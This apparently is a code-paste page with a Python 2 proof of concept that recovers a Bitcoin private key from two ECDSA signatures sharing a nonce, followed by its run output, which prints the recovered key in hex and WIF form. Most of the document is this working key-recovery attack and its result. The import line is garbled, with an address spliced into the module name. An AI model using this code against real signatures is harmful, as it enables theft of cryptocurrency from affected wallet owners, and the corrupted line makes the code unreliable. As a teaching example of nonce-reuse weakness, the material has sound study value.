fork download
  1. #!/usr/bin/env python
  2. #
  3. # Proof of concept of bitcoin private key recovery using weak ECDSA signatures
  4. #
  5. # Based on http://w...content-available-to-author-only...r.net/2013/01/28/recovering-bitcoin-private-keys.html
  6. # Regarding Bitcoin Tx https://b...content-available-to-author-only...n.info/tx/14JHoRAdmJg3XR4RjMDh6Wed6ft6hzbQe9.
  7. # As it's said in the previous article you need to poke around into the OP_CHECKSIG function in order to get z1 and z2,
  8. # in other hand for every other parameters you should be able to get them from the Tx itself.
  9. #
  10. # Author Dario Clavijo <daedalus2027@gmail.com> , Jan 2013
  11. # Donations: 1FMobgL3Z9uR3hM93LcrVxvDEyrfbquTSy
  12. #
  13. # This code is licensed under the terms of the GPLv3 license http://g...content-available-to-author-only...f.org/
  14. #
  15. # Disclaimer: Do not steal other peoples money, that's bad.
  16.  
  17.  
  18. import hash14JHoRAdmJg3XR4RjMDh6Wed6ft6hzbQe9lib
  19.  
  20. p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
  21. #r = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
  22. #s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
  23. #s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
  24. z1 = 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
  25. z2 = 0x17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc
  26.  
  27. # r1 and s1 are contained in this ECDSA signature encoded in DER (openssl default).
  28. der_sig1 = "30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e01"
  29.  
  30. # the same thing with the above line.
  31. der_sig2 = "30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab01"
  32.  
  33. params = {'p':p,'sig1':der_sig1,'sig2':der_sig2,'z1':z1,'z2':z2}
  34.  
  35. def hexify (s, flip=False):
  36. if flip:
  37. return s[::-1].encode ('hex')
  38. else:
  39. return s.encode ('hex')
  40.  
  41. def unhexify (s, flip=False):
  42. if flip:
  43. return s.decode ('hex')[::-1]
  44. else:
  45. return s.decode ('hex')
  46.  
  47. def inttohexstr(i):
  48. tmpstr = "%s" % hex(i)
  49. hexstr = tmpstr.replace('0x','').replace('L','')
  50. return hexstr
  51.  
  52. b58_digits = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
  53.  
  54. def dhash(s):
  55. return hashlib.sha256(hashlib.sha256(s).digest()).digest()
  56.  
  57. def rhash(s):
  58. h1 = hashlib.new('ripemd160')
  59. h1.update(hashlib.sha256(s).digest())
  60. return h1.digest()
  61.  
  62. def base58_encode(n):
  63. l = []
  64. while n > 0:
  65. n, r = divmod(n, 58)
  66. l.insert(0,(b58_digits[r]))
  67. return ''.join(l)
  68.  
  69. def base58_encode_padded(s):
  70. res = base58_encode(int('0x' + s.encode('hex'), 16))
  71. pad = 0
  72. for c in s:
  73. if c == chr(0):
  74. pad += 1
  75. else:
  76. break
  77. return b58_digits[0] * pad + res
  78.  
  79. def base58_check_encode(s, version=0):
  80. vs = chr(version) + s
  81. check = dhash(vs)[:4]
  82. return base58_encode_padded(vs + check)
  83.  
  84. def get_der_field(i,binary):
  85. if (ord(binary[i]) == 02):
  86. length = binary[i+1]
  87. end = i + ord(length) + 2
  88. string = binary[i+2:end]
  89. return string
  90. else:
  91. return None
  92.  
  93. # Here we decode a DER encoded string separating r and s
  94. def der_decode(hexstring):
  95. binary = unhexify(hexstring)
  96. full_length = ord(binary[1])
  97. if ((full_length + 3) == len(binary)):
  98. r = get_der_field(2,binary)
  99. s = get_der_field(len(r)+4,binary)
  100. return r,s
  101. else:
  102. return None
  103.  
  104. def show_results(privkey):
  105. hexprivkey = inttohexstr(privkey)
  106. print "intPrivkey = %d" % privkey
  107. print "hexPrivkey = %s" % hexprivkey
  108. print "bitcoin Privkey (WIF) = %s" % base58_check_encode(hexprivkey.decode('hex'),version=128)
  109.  
  110. def show_params(params):
  111. for param in params:
  112. try:
  113. print "%s: %s" % (param,inttohexstr(params[param]))
  114. except:
  115. print "%s: %s" % (param,params[param])
  116.  
  117. # This is the same as (a/b mod p) but avoiding floating numbers since we are dealing with prime numbers and modulus
  118. # and beacuse this the python built in division isn't suitable for our needs,
  119. # it returns floating point numbers rounded and we don't want them.
  120. def inverse_mult(a,b,p):
  121. y = (a * pow(b,p-2,p)) #(pow(a, b) modulo p) where p should be a prime number
  122. return y
  123.  
  124. # Here is the wrock!
  125. def derivate_privkey(p,r,s1,s2,z1,z2):
  126. privkey = (inverse_mult(((z1*s2) - (z2*s1)),(r*(s1-s2)),p) % int(p))
  127. return privkey
  128.  
  129. def process_signatures(params):
  130.  
  131. p = params['p']
  132. sig1 = params['sig1']
  133. sig2 = params['sig2']
  134. z1 = params['z1']
  135. z2 = params['z2']
  136.  
  137. tmp_r1,tmp_s1 = der_decode(sig1) # Here we extract r and s from the signature encoded in DER.
  138. tmp_r2,tmp_s2 = der_decode(sig2) # Idem.
  139.  
  140. if (tmp_r1 == tmp_r2): # If r1 and r2 are equal the two signatures are weak and we can recover the private key.
  141.  
  142. if (tmp_s1 != tmp_s2): # This: (s1-s2)>0 should be complied in order be able to compute the private key.
  143.  
  144. # the key of ECDSA are the integer numbers thats why we convert hexa from to them.
  145. r1 = int(tmp_r1.encode('hex'),16)
  146. r2 = int(tmp_r2.encode('hex'),16)
  147. s1 = int(tmp_s1.encode('hex'),16)
  148. s2 = int(tmp_s2.encode('hex'),16)
  149.  
  150. privkey = derivate_privkey(p,r1,s1,s2,z1,z2)
  151. return privkey
  152.  
  153. else:
  154. raise Exception("Privkey not computable: s1 and s2 are equal.")
  155. else:
  156. raise Exception("Privkey not computable: r1 and r2 are not equal.")
  157.  
  158. def main():
  159. show_params(params)
  160. privkey = process_signatures(params)
  161. if privkey:
  162. show_results(privkey)
  163.  
  164. if __name__ == "__main__":
  165. main()
Success #stdin #stdout 0.02s 9524KB
stdin
Standard input is empty
stdout
sig1: 30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e01
p: fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
sig2: 30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab01
z1: c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2: 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc
intPrivkey = 88865298299719117682218467295833367085649033095698151055007620974294165995414
hexPrivkey = c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96
bitcoin Privkey (WIF) = 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ